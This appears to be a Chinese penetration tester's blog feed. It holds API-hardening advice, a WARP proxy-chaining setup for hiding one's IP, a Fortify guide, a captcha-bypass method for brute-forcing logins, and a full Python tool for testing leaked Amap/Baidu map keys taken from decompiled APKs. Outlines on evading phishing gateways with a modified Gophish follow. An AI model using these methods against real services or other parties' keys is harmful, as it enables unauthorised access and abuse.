- 不要将 Client Secret 写死在客户端代码中，APK 反编译有成本，真遇到高手了也是秒了。
- 建议使用动态密钥交换或将签名逻辑放在服务端（如网关层）。
修复鉴权逻辑 (Broken Access Control) ：
- 永远不要相信客户端提交的 UserID。
- 后端必须从验证过的 AccessToken 中解析用户身份（Subject），以此作为权限判断的依据。Header 里的 userid 只能作为参考，不能作为凭证。
统一错误处理：
- 生产环境应屏蔽详细的错误堆栈和具体的参数提示，统一返回模糊的错误码，防止攻击者利用报错信息进行 Fuzzing。
API 签名不是万能药：
- 签名只能保证传输安全，不能保证业务逻辑安全。不要因为有了签名就忽略了越权检测。

‍

利用Cloudflare做二级代理

Fri, 06 Dec 2024 00:00:00 GMT

1

CF 良心的一批！

访问地址：https://1.1.1.1/

2

为什么有这个想法呢，因为

~~能白嫖不要给钱~~

有些站点对ip限制的比较死，云厂商的ip偶尔是白名单，封ip比较快，不想被封而已。

发现cf给的ip还是比较干净的，相当舒服了。

3

详细设置步骤：

clash：

我本地使用的clash，因为我需要接管我的全网卡流量，我这里以clash举例：

打开clash的tun模式，选择全局代理
打开clash的系统代理模式，为CF走代理作用
看一下clash监听端口是多少，我这里是7890

Cloudflare

启用Cloudflare的proxy代理模式
填入clash的端口

连接即可。

效果图如下：

注意事项

挂着二级代理不卡吗？

不卡，看油管2k没问题。

为什么不直接裸连cf

测试发现了一个有趣的问题，如果单挂cf的话，会直接显示你的真实物理位置。

我没有实际去研究为什么会造成这种情况，网上有参考例子：

https://blog.skk.moe/post/something-about-cf-warp/

5.10日更新：

为什么会造成真实物理位置泄漏的原因是 ipv6

使用cf提供的测试地址，你可以发现第三行的ip是你的真实IP。

此处的ipv4走的确实是美国的cf，但是开启warp之后会启用一个ipv6，这个ipv6不受保护的，就这么简单。

所以测试的时候发现开启了warp也能获取到真实的地址的情况下，多半是你的ipv6优先了。

修复方法也很简单，禁用ipv6即可。

另外的玩法

warp用来解锁线路，还有给vps解锁ip的玩法挺多的，具体请自行搜索，这里不过多解释了。

5

最佳的解决方案是给vps套warp，然后vps组成代理，利用clash的链式代理即可达到隐藏ip的目的。

Fortify SCA (Windows + VS Code 插件) 扫描 Python 代码指南

Thu, 31 Oct 2024 00:00:00 GMT

最近接到一个活，要对python代码进行代码扫描，之前只用过fortify扫描Java类的代码，搜索了一下支持python类代码扫描，和常规的方式不一样记录一下过程。

一、前期准备

Fortify Static Code Analyzer (SCA)：Windows 232.2 版本。
安装 VS Code
安装 Fortify VSC 插件：
- 打开 VS Code。
- 进入 Extensions 视图 (快捷键 Ctrl+Shift+X)。
- 搜索 "Fortify"，找到并安装 "Fortify VSC" 插件。

二、Fortify VSC 插件配置

在 VS Code 中，打开 Fortify 插件界面（通常在左侧活动栏找到 Fortify 图标）。打开显示如下。

第一个不用管，直接切换到Static Code Analyzer executable path视图。

2.1 配置 SCA 可执行文件路径

字段：Static Code Analyzer executable path
说明： 指定 sourceanalyzer.exe 的路径。
设置：
- 推荐： 如果您已将 Fortify SCA 的 bin 目录添加到系统环境变量 Path 中，则此处直接输入 sourceanalyzer 即可。

- **备用：** 如果上述方法不行，点击右侧的 `Browse...` 按钮，导航到Fortify SCA 安装目录，找到 `bin` 文件夹，然后选择 `sourceanalyzer.exe`。
    * **示例路径：** `C:\Program Files\Fortify\Fortify_SCA_and_Apps_<版本号>\bin\sourceanalyzer.exe`

配置基本上就配置好了，剩下的用vscode打开需要扫描的目录，再点击一下Fortify插件的按钮即可自动填充。

2.2 配置构建 ID

字段：Build ID
说明： 为本次扫描任务设置一个唯一的标识符。

2.3 配置扫描结果输出路径 (FPR)

字段：Scan results location (FPR)
说明： 指定扫描结果文件（.fpr 文件）的保存路径和文件名。Fortify Audit Workbench 将使用此文件。默认在代码库的根目录文件夹下保存此文件

2.4 配置日志路径

字段：Log location
说明： SCA 扫描的日志文件路径。
设置： 通常保持默认即可。可以点击右侧的 Open 按钮查看日志。

2.5 配置选项 (Python 特有)

字段：Add translation options
说明： 针对 Python 代码，您需要在此处指定 Python 版本和依赖库路径。
设置：
1. 勾选 Add translation options 复选框。
2. 在勾选后出现的文本框中，输入以下参数。请根据您的 Python 环境调整路径。
  - 首先，通过在命令行运行 python3 -c "import sys; print(sys.path)" 获取的 Python 模块搜索路径。我这里如下：

['', 'D:\\Scoop\\apps\\python311\\current\\python311.zip', 'D:\\Scoop\\apps\\python311\\current\\DLLs', 'D:\\Scoop\\apps\\python311\\current\\Lib', 'D:\\Scoop\\apps\\python311\\current', 'D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages', 'D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\win32', 'D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\win32\\lib', 'D:\\Scoop\\apps\\python311\\current\\Lib\\site-packages\\Pythonwin']

    * 因此，应该在 Fortify 插件中输入：

-python-version 3 -python-path "D:\Scoop\apps\python311\current\DLLs;D:\Scoop\apps\python311\current\Lib;D:\Scoop\apps\python311\current\Lib\site-packages"

        + `-python-version 3`：指定您的 Python 版本为 3。
        + `-python-path "..."`：列出 Python 查找标准库和第三方库的路径，用分号 `;` 分隔。这些路径来自您 `sys.path` 的输出。

2.6 其他选项 (可选)

Add scan options：用于添加 SCA 扫描阶段的额外参数，一般保持默认即可。
Update security content：使用最新的漏洞检测规则。

三、执行扫描

完成上述所有配置后，点击 Fortify VSC 插件界面底部的 Scan** 按钮**。
扫描过程将在后台运行。可以在 VS Code 的 OUTPUT 面板或终端中查看扫描进度和详细日志。

五、查看扫描结果

扫描完成后，会在 Scan results location (FPR) 中指定的路径生成一个 .fpr 文件（例如：python_results.fpr）。
打开 Fortify Audit Workbench 客户端应用程序。
点击 "File" -> "Open Project"，然后选择生成的 .fpr 文件。
在 Audit Workbench 中，可以详细查看扫描到的安全漏洞、漏洞类型、严重程度、受影响的代码行、数据流分析以及修复建议。

鉴权验证码如何绕过

Sat, 26 Oct 2024 00:00:00 GMT

鉴权验证码如何绕过

0x01

在项目上遇到了一个登陆口，但是有验证码，同时使用了当前验证码的UUID进行鉴权，简单来说就是

如果需要爆破登录接口，需要识别验证码的同时携带上本次验证码的UUID同时爆破，接口才能返回信息。

样式如下：

0X02

UUID同时有时间校验

UUID正常的情况下：

‍

重发包的情况下：

‍

此处的UUID功能可以有：

时间戳
SIGN校验
验证码更新

‍

爆破的时候就有个很尴尬的问题，如果直接引入burp里面，他的UUID是不会更新的，代表每一次的请求SIGN都是无效的。

‍

0X03

解决方案：

captcha-keiller 自带了一个解决方案

其中regex就是用来提取token之类的参数的。

regex需要用正则提取，参考如下：

‍

在intrude模块里面设置一下，在intruder中增加校验的参数@captcha-killer-modified@

参考如下：

‍

爆破回显已经能够正确的运行：

‍

log日志显示如下：

‍

完美解决这个问题。

泄露地图AK一键检测利用

Sun, 10 Mar 2024 00:00:00 GMT

背景

在一次APK反编译的时候发现存在一个关于map的KEY，试了几个接口无法调用成功，具体不知道哪个对应的接口和服务，于是配合GPT写了这份代码，旨在实现自动化AK利用。

代码

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
import argparse
import requests
import random
import time
import certifi
import json
import traceback
import os
from termcolor import colored
from typing import List, Dict, Tuple, Optional, Any
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib3.exceptions import InsecureRequestWarning

# --- Banner ---
BANNER = """


                                                                                           
                            by: 地图API密钥全自动检测工具
"""

# --- Configuration ---

# Emojis for output enhancement
EMOJI_DETECT = "🔍"
EMOJI_PLATFORM = "🏷️"
EMOJI_KEY_FORMAT = "🔑"
EMOJI_SERVICE = "▶️"
EMOJI_SUCCESS = "✅"
EMOJI_FAIL = "❌"
EMOJI_CLOCK = "⏱️"
EMOJI_INFO = "ℹ️"
EMOJI_ERROR = "❗"
EMOJI_WARNING = "⚠️"
EMOJI_NETWORK = "🌐"
EMOJI_QUOTA = "🚦"
EMOJI_PERM = "🔒"
EMOJI_WRITE = "💾"
EMOJI_TOOL = "🛠️"


# Disable SSL warnings (use cautiously)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

# Safe coordinate bounds
SAFE_BOUNDS = {
    'global': {'lon_min': -180, 'lon_max': 180, 'lat_min': -90, 'lat_max': 90},
    'china': {'lon_min': 73.66, 'lon_max': 135.05, 'lat_min': 3.86, 'lat_max': 53.55}
}

# Test address pool
TEST_ADDRESS_POOL = [
    "北京市朝阳区望京soho",
    "上海市浦东新区陆家嘴环路1288号",
    "广州市天河区珠江新城临江大道5号",
    "深圳市福田区深南大道6001号",
    "成都市锦江区红星路三段1号"
]

# --- Helper Classes ---

class GeoGenerator:
    """Generates random geographic data."""
    @staticmethod
    def random_coord(region='china'):
        bounds = SAFE_BOUNDS[region]
        return (
            round(random.uniform(bounds['lat_min'], bounds['lat_max']), 6),
            round(random.uniform(bounds['lon_min'], bounds['lon_max']), 6)
        )

    @staticmethod
    def random_ip():
        # Generate a public IP range more likely to be locatable
        while True:
            ip = f"{random.randint(1, 223)}.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(1, 254)}"
            parts = [int(p) for p in ip.split('.')]
            if parts[0] == 10: continue
            if parts[0] == 127: continue
            if parts[0] == 172 and 16 <= parts[1] <= 31: continue
            if parts[0] == 192 and parts[1] == 168: continue
            if parts[0] >= 224: continue
            return ip


class KeyValidator:
    """Validates key format and detects platform."""
    @staticmethod
    def detect_platform(key: str) -> Tuple[str, str]:
        """Detects platform and provides format description."""
        if re.match(r'^[0-9a-fA-F]{32}$', key):
            return 'amap', '高德 (32位 Hex)'
        if re.match(r'^[A-Za-z0-9]{32}$', key):
            if re.match(r'^[0-9a-fA-F]{32}$', key):
                 return 'ambiguous', '可能是高德或百度 (纯Hex字符)'
            return 'baidu', '百度 (32位 Alnum)'
        return 'unknown', '未知格式'


class APITester:
    """Executes API test calls."""
    def __init__(self):
        self.user_agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15',
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36',
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0'
        ]

    def _generate_service_configs(self, platform: str) -> Dict:
         """Generates service configs dynamically for fresh random data."""
         coord = GeoGenerator.random_coord()
         random_addr = random.choice(TEST_ADDRESS_POOL)
         random_ip = GeoGenerator.random_ip()

         if platform == 'amap':
            return {
                "静态地图": {
                    "url": "https://restapi.amap.com/v3/staticmap",
                    "params": {"location": f"{coord[1]},{coord[0]}", "zoom": 10, "size": "400*300", "markers": f"mid,,A:{coord[1]},{coord[0]}"},
                    "is_static": True
                },
                "地理编码": {
                    "url": "https://restapi.amap.com/v3/geocode/geo",
                    "params": {"address": random_addr}
                },
                "逆地理编码": {
                    "url": "https://restapi.amap.com/v3/geocode/regeo",
                    "params": {"location": f"{coord[1]},{coord[0]}"}
                },
                "路径规划": {
                    "url": "https://restapi.amap.com/v3/direction/driving",
                    "params": {"origin": "116.481028,39.989643", "destination": "116.434446,39.90816"}
                },
                "IP定位": {
                    "url": "https://restapi.amap.com/v3/ip",
                    "params": {"ip": random_ip}
                }
            }
         elif platform == 'baidu':
            return {
                "静态地图": {
                    "url": "https://api.map.baidu.com/staticimage/v2",
                    "params": {"center": f"{coord[1]},{coord[0]}", "zoom": 10, "width": 400, "height": 300, "markers": f"{coord[1]},{coord[0]}"},
                    "is_static": True
                },
                "地理编码": {
                    "url": "https://api.map.baidu.com/geocoding/v3/",
                    "params": {"address": random_addr, "output": "json"}
                },
                "逆地理编码": {
                    "url": "https://api.map.baidu.com/reverse_geocoding/v3/",
                    "params": {"location": f"{coord[0]},{coord[1]}", "output": "json"}
                },
                "路径规划": {
                    "url": "https://api.map.baidu.com/direction/v2/driving",
                    "params": {"origin": "40.01116,116.339303", "destination": "39.936404,116.452562"}
                },
                "IP定位": {
                    "url": "https://api.map.baidu.com/location/ip",
                    "params": {"ip": random_ip, "coor": "bd09ll"}
                }
            }
         return {}

    def _call_api(self, url: str, params: dict, platform: str, service_name: str, is_static: bool = False) -> Tuple[bool, dict]:
        """Executes a single API request with retries."""
        current_params = params.copy()
        retries = current_params.pop('retry', 2) + 1
        detail = {'params': params, 'latency': None, 'error': None, 'error_info': None, 'response': None}

        for attempt in range(retries):
            response = None
            try:
                headers = {'User-Agent': random.choice(self.user_agents)}
                start_time = time.time()
                response = requests.get(
                    url,
                    params=current_params,
                    headers=headers,
                    timeout=15,
                    verify=certifi.where(),
                    stream=is_static
                )
                latency = round((time.time() - start_time) * 1000, 2)
                detail['latency'] = latency

                content_type = response.headers.get('Content-Type', '').lower()

                if is_static and response.status_code == 200 and content_type.startswith('image/'):
                    detail['response'] = {'content_type': content_type, 'status_code': 200}
                    response.close()
                    return True, detail

                if response.status_code != 200:
                    error_msg = f"HTTP {response.status_code}"
                    try:
                        error_data = response.json()
                        error_msg += f". API Msg: {json.dumps(error_data, ensure_ascii=False)}"
                    except (json.JSONDecodeError, requests.exceptions.RequestException):
                        error_msg += f". Response: {response.text[:200]}..."
                    detail['error'] = error_msg
                    raise requests.HTTPError(error_msg, response=response)

                data = None
                try:
                    if 'application/json' in content_type or 'text/javascript' in content_type:
                         data = response.json()
                    elif platform == 'amap' and service_name == "IP定位" and 'text/html' in content_type and response.text.startswith('{') and response.text.endswith('}'):
                         data = json.loads(response.text)
                    else:
                         raise ValueError(f"非预期响应类型: {content_type}")

                    detail['response'] = data

                    success = False
                    error_info = ""
                    if platform == 'amap':
                        success = str(data.get('status')) == '1'
                        if not success: error_info = data.get('info', '未知高德错误') + f" (infocode: {data.get('infocode', '')})"
                    elif platform == 'baidu':
                        success = data.get('status') == 0
                        if not success: error_info = data.get('message', '未知百度错误') + f" (status: {data.get('status', '')})"
                    else: error_info = "未知平台错误"

                    detail['error_info'] = error_info if not success else None
                    return success, detail

                except json.JSONDecodeError as e:
                    detail['error'] = f"JSON解析失败 ({content_type}): {str(e)} | 响应: {response.text[:200]}..."
                    return False, detail
                except ValueError as e:
                    detail['error'] = f"{str(e)} | 响应: {response.text[:200]}..."
                    return False, detail

            except requests.exceptions.Timeout:
                detail['error'] = "请求超时"
                if attempt == retries - 1: return False, detail
                time.sleep(1 + 1.5 * attempt)
            except requests.exceptions.RequestException as e:
                detail['error'] = f"请求错误: {type(e).__name__}" + (f" (Status: {response.status_code})" if response else "")
                if attempt == retries - 1: return False, detail
                time.sleep(1 + 1.5 * attempt)
            except Exception as e:
                 detail['error'] = f"未知处理错误: {type(e).__name__}: {str(e)}"
                 print(f"{EMOJI_ERROR} {colored('内部脚本错误', 'red')}: {traceback.format_exc()[:500]}...")
                 return False, detail
            finally:
                if response:
                    response.close()

        detail['error'] = f"超过最大重试次数 ({retries}). 最后错误: {detail['error']}"
        return False, detail

    def test_service(self, platform: str, service_name: str, key: str, service_config: dict) -> Tuple[bool, dict]:
        """Tests a single service with its config."""
        params = service_config['params'].copy()
        params['key' if platform == 'amap' else 'ak'] = key
        is_static = service_config.get('is_static', False)
        return self._call_api(service_config['url'], params, platform, service_name, is_static)


class ReportGenerator:
    """Generates console output for test results."""
    @staticmethod
    def print_result(service: str, platform: str, success: bool, detail: dict):
        status_icon = EMOJI_SUCCESS if success else EMOJI_FAIL
        status_color = 'green' if success else 'red'
        service_status = colored("成功" if success else "失败", status_color)

        print(f"{EMOJI_SERVICE} {service.ljust(7)} {status_icon} {service_status}")

        indent = "  │"

        latency = detail.get('latency')
        latency_str = f"{latency:.2f} ms" if latency is not None else "N/A"
        print(f"{indent} {EMOJI_CLOCK} 耗时: {latency_str}")

        params_str = " | ".join([f"{k}={v:.4f}" if isinstance(v, float) else f"{k}={str(v)[:30]}{'...' if len(str(v))>30 else ''}"
                                 for k, v in detail.get('params', {}).items() if k not in ['key', 'ak']])
        if params_str:
             print(f"{indent} {EMOJI_INFO} 参数: {colored(params_str, 'cyan')}")

        if success:
            success_info_str = ReportGenerator._extract_success_info(service, platform, detail.get('response'))
            if success_info_str:
                print(f"{indent} {EMOJI_INFO} 结果: {colored(success_info_str, 'green')}")

        error_msg = detail.get('error')
        error_info = detail.get('error_info')

        if error_info:
            print(f"{indent} {EMOJI_WARNING} 原因: {colored(error_info, 'yellow')}")
            ReportGenerator._print_error_analysis(error_info)
        elif error_msg:
            print(f"{indent} {EMOJI_ERROR} 原因: {colored(error_msg, 'red')}")
            ReportGenerator._print_error_analysis(error_msg)
        elif not success:
            print(f"{indent} {EMOJI_ERROR} 原因: {colored('未知原因失败', 'red')}")
        print( "  └" + "─" * 30)


    @staticmethod
    def _extract_success_info(service: str, platform: str, response_data: Optional[Any]) -> str:
        """Extracts a brief summary from successful API response data."""
        if response_data is None: return ""
        try:
            if isinstance(response_data, dict) and response_data.get('content_type', '').startswith('image/'):
                return f"成功获取图片 ({response_data['content_type']})"
            elif isinstance(response_data, dict):
                if service == "IP定位":
                    city = "未知"
                    if platform == 'amap': city = response_data.get('city') if isinstance(response_data.get('city'), str) and response_data.get('city') else response_data.get('adcode', 'N/A')
                    elif platform == 'baidu': city = response_data.get('content', {}).get('address_detail', {}).get('city', 'N/A')
                    return f"定位城市: {city}" if city and city != 'N/A' else "定位成功 (无城市信息)"
                elif service == "地理编码":
                    loc = "未知"
                    if platform == 'amap': loc = response_data.get('geocodes', [{}])[0].get('location', 'N/A')
                    elif platform == 'baidu': loc_dict = response_data.get('result', {}).get('location', {}); loc = f"{loc_dict.get('lat', 'N/A')},{loc_dict.get('lng', 'N/A')}" if loc_dict else 'N/A'
                    return f"获取坐标: {loc}"
                elif service == "逆地理编码":
                    addr = "未知"
                    if platform == 'amap': addr = response_data.get('regeocode', {}).get('formatted_address', 'N/A')
                    elif platform == 'baidu': addr = response_data.get('result', {}).get('formatted_address', 'N/A')
                    return f"获取地址: {addr[:40]}{'...' if len(addr)>40 else ''}"
                elif service == "路径规划":
                    dist, dur = "N/A", "N/A"
                    try:
                        if platform == 'amap': path = response_data.get('route', {}).get('paths', [{}])[0]; dist, dur = path.get('distance'), path.get('duration')
                        elif platform == 'baidu': route = response_data.get('result', {}).get('routes', [{}])[0]; dist, dur = route.get('distance'), route.get('duration')
                        return f"距离: {dist}米, 时间: {dur}秒"
                    except (IndexError, KeyError, TypeError): return "路径规划成功"
                else: return "调用成功"
            return ""
        except Exception as e:
            return colored(f"结果解析出错: {e}", 'magenta')

    @staticmethod
    def _print_error_analysis(error_text: str):
        """Prints specific warning icons based on error text keywords."""
        indent = "  │  "
        error_lower = error_text.lower()
        analysis_printed = False
        if 'quota' in error_lower or '配额' in error_lower or '并发' in error_lower or 'qps' in error_lower or 'limit' in error_lower:
            print(f"{indent}{EMOJI_QUOTA} {colored('[疑似配额/并发限制]', 'yellow')}")
            analysis_printed = True
        if 'invalid user key' in error_lower or 'key不正确' in error_lower or 'ak不存在' in error_lower or '权限校验失败' in error_lower or 'permission denied' in error_lower or 'key status' in error_lower or '无效' in error_lower :
            print(f"{indent}{EMOJI_PERM} {colored('[密钥无效或服务未开通/权限不足]', 'red')}")
            analysis_printed = True
        if 'domain' in error_lower or 'ip白名单' in error_lower or 'referer' in error_lower or 'sn校验失败' in error_lower:
             print(f"{indent}{EMOJI_PERM} {colored('[IP/域名/Referer/SN白名单校验失败]', 'magenta')}")
             analysis_printed = True
        if 'timeout' in error_lower or '超时' in error_lower:
            print(f"{indent}{EMOJI_NETWORK} {colored('[请求超时]', 'blue')}")
            analysis_printed = True
        if 'json解析失败' in error_lower or '非预期响应类型' in error_lower:
            print(f"{indent}{EMOJI_NETWORK} {colored('[响应格式错误或非预期]', 'magenta')}")
            analysis_printed = True
        if '请求错误' in error_text or 'http' in error_lower or 'connection' in error_lower or 'ssl' in error_lower:
            print(f"{indent}{EMOJI_NETWORK} {colored('[网络/连接/HTTP错误]', 'blue')}")
            analysis_printed = True


# --- Main Execution ---

def parse_args():
    """Parses command line arguments."""
    parser = argparse.ArgumentParser(
        description=f"{EMOJI_TOOL} 地图API密钥全自动检测工具 (v3.6)", # Version bump for banner
        formatter_class=argparse.RawTextHelpFormatter
        )
    parser.add_argument('-k', '--keys', nargs='+', help="直接在命令行指定一个或多个密钥")
    parser.add_argument('-f', '--file', help="包含密钥的文件路径 (每行一个密钥)")
    parser.add_argument('-t', '--threads', type=int, default=5, help="并发测试线程数 (默认: 5)")
    parser.add_argument('-o', '--output', help="将成功的检测结果输出到指定的JSON文件")
    parser.add_argument('--skip-static', action='store_true', help="跳过静态地图服务的检测")

    temp_args, _ = parser.parse_known_args()
    if not temp_args.keys and not temp_args.file:
         # Print banner before showing help on error
         print(colored(BANNER, 'cyan'))
         parser.print_help()
         print(colored("\n错误: 必须通过 -k 或 -f 提供至少一个密钥。", "red"))
         exit(1)

    return parser.parse_args()

def main(keys_to_test: List[str], num_threads: int, output_file: Optional[str], skip_static: bool):
    """Main detection workflow."""
    tester = APITester()
    futures_map = {}
    results_for_output = []

    print(f"{EMOJI_DETECT} 开始检测 {len(keys_to_test)} 个密钥，使用 {num_threads} 个线程...")
    if skip_static: print(f"{EMOJI_INFO} 已设置跳过静态地图检测。")

    with ThreadPoolExecutor(max_workers=num_threads) as executor:
        for key in keys_to_test:
            key = key.strip()
            if not key: continue

            platform, key_format_desc = KeyValidator.detect_platform(key)
            masked_key = f"{key[:6]}...{key[-4:]}" if len(key) > 10 else key

            if platform == 'unknown':
                print(colored(f"\n{EMOJI_FAIL} 无效密钥格式: {key}", "red"))
                continue
            if platform == 'ambiguous':
                 print(colored(f"\n{EMOJI_WARNING} 检测到模糊密钥: {masked_key}", "yellow"))
                 print(colored(f"  格式 ({key_format_desc}) 可能属于高德或百度，将尝试两者。", "yellow"))
                 platforms_to_try = ['amap', 'baidu']
            else:
                 platforms_to_try = [platform]

            for p in platforms_to_try:
                print(colored(f"\n{EMOJI_DETECT} 正在检测 {p.upper()} 服务 - 密钥: {masked_key}", "blue", attrs=['bold']))
                print(f"  {EMOJI_PLATFORM} 平台识别: {p.upper()}")
                print(f"  {EMOJI_KEY_FORMAT} Key格式: {key_format_desc}")

                platform_services = tester._generate_service_configs(p)

                for service_name, service_config in platform_services.items():
                    if skip_static and service_config.get('is_static', False):
                        continue

                    future = executor.submit(tester.test_service, p, service_name, key, service_config)
                    futures_map[future] = {'key': key, 'platform': p, 'service_name': service_name}

        print(colored("\n--- 检测结果 ---", attrs=['bold']))
        processed_count = 0
        total_tasks = len(futures_map)

        for future in as_completed(futures_map):
            processed_count += 1
            context = futures_map[future]
            key = context['key']
            platform = context['platform']
            service_name = context['service_name']
            masked_key = f"{key[:6]}...{key[-4:]}" if len(key) > 10 else key

            try:
                success, detail = future.result()
                ReportGenerator.print_result(service_name, platform, success, detail)

                if success and output_file:
                    result_item = {
                        'key': key,
                        'platform': platform,
                        'service_name': service_name,
                        'request_params': detail.get('params'),
                        'response_summary': ReportGenerator._extract_success_info(service_name, platform, detail.get('response')),
                        'latency_ms': detail.get('latency'),
                    }
                    results_for_output.append(result_item)

            except Exception as exc:
                 print(colored(f"{EMOJI_FAIL} {service_name.ljust(7)}", 'red'))
                 print(f"  └─ {colored(f'执行 {service_name} (平台: {platform}, 密钥: {masked_key}) 时发生内部错误: {exc}', 'red')}")

    if output_file:
        print(colored(f"\n{EMOJI_WRITE} 正在将 {len(results_for_output)} 条成功结果写入到: {output_file}", "blue"))
        try:
            with open(output_file, 'w', encoding='utf-8') as f:
                json.dump(results_for_output, f, ensure_ascii=False, indent=4)
            print(colored(f"{EMOJI_SUCCESS} 成功写入 JSON 文件。", "green"))
        except IOError as e:
            print(colored(f"{EMOJI_ERROR} 写入文件失败: {e}", "red"))
        except TypeError as e:
             print(colored(f"{EMOJI_ERROR} 序列化结果为JSON时失败 (可能包含无法序列化的数据): {e}", "red"))


if __name__ == "__main__":
    # --- Print Banner First ---
    print(colored(BANNER, 'cyan')) # Choose a color for the banner

    args = parse_args() # Parse arguments after printing banner
    keys = []

    if args.keys:
        keys.extend(args.keys)
    if args.file:
        try:
            with open(args.file, 'r', encoding='utf-8') as f:
                keys.extend([line.strip() for line in f if line.strip()])
        except FileNotFoundError:
             print(colored(f"{EMOJI_ERROR} 错误：密钥文件 '{args.file}' 未找到。", "red"))
             exit(1)
        except Exception as e:
             print(colored(f"{EMOJI_ERROR} 错误：读取密钥文件 '{args.file}' 时出错: {e}", "red"))
             exit(1)

    unique_keys = sorted(list(set(keys)))

    # Input validation is handled within parse_args now

    main(unique_keys, args.threads, args.output, args.skip_static)
    print(colored(f"\n{EMOJI_TOOL} 检测完成。", attrs=['bold']))

地图API密钥全自动检测工具

简介

地图API密钥全自动检测工具 是一款高效、全面的解决方案，旨在简化渗透测试过程中地图API密钥的管理和风险评估工作。无论是渗透测试人员还是安全研究人员，在分析应用程序或系统对地图API的依赖时，常常面临密钥有效性验证、服务权限探测和潜在安全风险评估等多重挑战。本工具通过自动化执行这些关键任务，极大地提升了水洞效率，并帮助识别与地图服务相关的潜在安全漏洞.

主要功能

密钥有效性验证： 多接口，多服务调用自动验证地图API密钥的有效状态(高德/百度)，快速识别可能被滥用或已泄露的密钥。
批量密钥测试： 支持批量测试多个地图API密钥，提高渗透测试效率，快速评估大量密钥的风险。

技术特点

Python开发： 采用Python语言开发，具有良好的跨平台性和可读性。
Requests库： 使用Requests库发送HTTP请求，简化API调用过程。

快速开始

运行脚本：
python your_script_name.py -k your_amap_key

输出如下：

毅种循环

VMware 与 Hyper-V 基础扫盲：差异、迁移与脚本实战

一、先把概念说清楚：虚拟机到底是什么

二、VMware Workstation 和 Hyper-V 分别是什么

1. VMware Workstation

2. Hyper-V

三、两者最大的差别：底层架构不一样

1. VMware Workstation 更接近宿主型虚拟化

2. Hyper-V 更接近系统级、原生的虚拟化层

四、作为普通用户，实际体验上会差在哪

什么情况下更适合继续用 VMware

什么情况下更值得迁到 Hyper-V

五、为什么 VMware 目录里总有一堆奇怪的磁盘文件

1. 主 VMDK 和数据 VMDK 不是一回事

2. 为什么会拆成很多段

六、VMDK 和 VHDX 到底有什么区别

1. VMDK 是 VMware 常见的磁盘格式

2. VHDX 是 Hyper-V 更推荐使用的格式

七、为什么有的人迁移后能开机，有的人会报错

1. 虚拟机代数不匹配

2. 控制器类型变化

3. 快照链没有理清

八、磁盘转换这件事，到底是在做什么

九、为什么转换完以后，Hyper-V 还是可能不满意

十、仓库里的 vmdk_to_vhdx.py 脚本在做什么

1. 这个脚本适合什么场景

2. 使用前先确认两件事

3. 运行方式

4. 完整脚本

十一、迁移到 Hyper-V 之前，建议先做这几个检查

1. 先备份原始虚拟机目录

2. 尽量关闭或合并不必要的快照

3. 记下原系统的启动方式

4. 确认网络方案

十二、如果只是入门，应该怎么选

十三、一个适合新手的理解方式

结语

关于Gophish：从二次开发到语义Fuzz的实战之路

0x00 项目背景与前提

0.1 项目场景

0.2 初始工具选择

0.3 面临的核心挑战

0x01 发件基础设施搭建：从失败到可信域绕过

1.1 第一次尝试：Postfix SMTP（失败）

初始方案

测试结果

1.2 第二次尝试：Zoho企业邮箱（成功）

解决思路

Zoho邮箱配置过程

测试结果（可信域绕过成功）

1.3 第三次尝试：钓鱼模板发送（再次失败）

测试邮件（含钓鱼内容）

测试结果

1.4 阶段性总结

已解决的问题

仍存在的问题

下一步策略

0x02 二次开发阶段：去指纹化改造

2.1 指纹分析

邮件头特征

URL特征

服务端特征

2.2 改造策略

改造清单

核心代码改造

与原版Gophish的区别

为什么需要动态QR码？

实现过程（参考EvilGophish）

邮件中使用

CID嵌入 vs 远程加载对比

0x03 困境：FUZZ机制

3.1 新的拦截机制

邮件网关的语义检测机制

拦截案例分析

3.2 心路历程

3.3 单变量Fuzz：定位拦截触发点

单变量测试方法

测试结果分析;

关键发现

下一步策略

十、仓库里的 `vmdk_to_vhdx.py` 脚本在做什么

记一次失败的逆向Android 16+数字加固+FlutterAPP踩坑

🎯 最终成果脚本 (`dump_so_final.js`)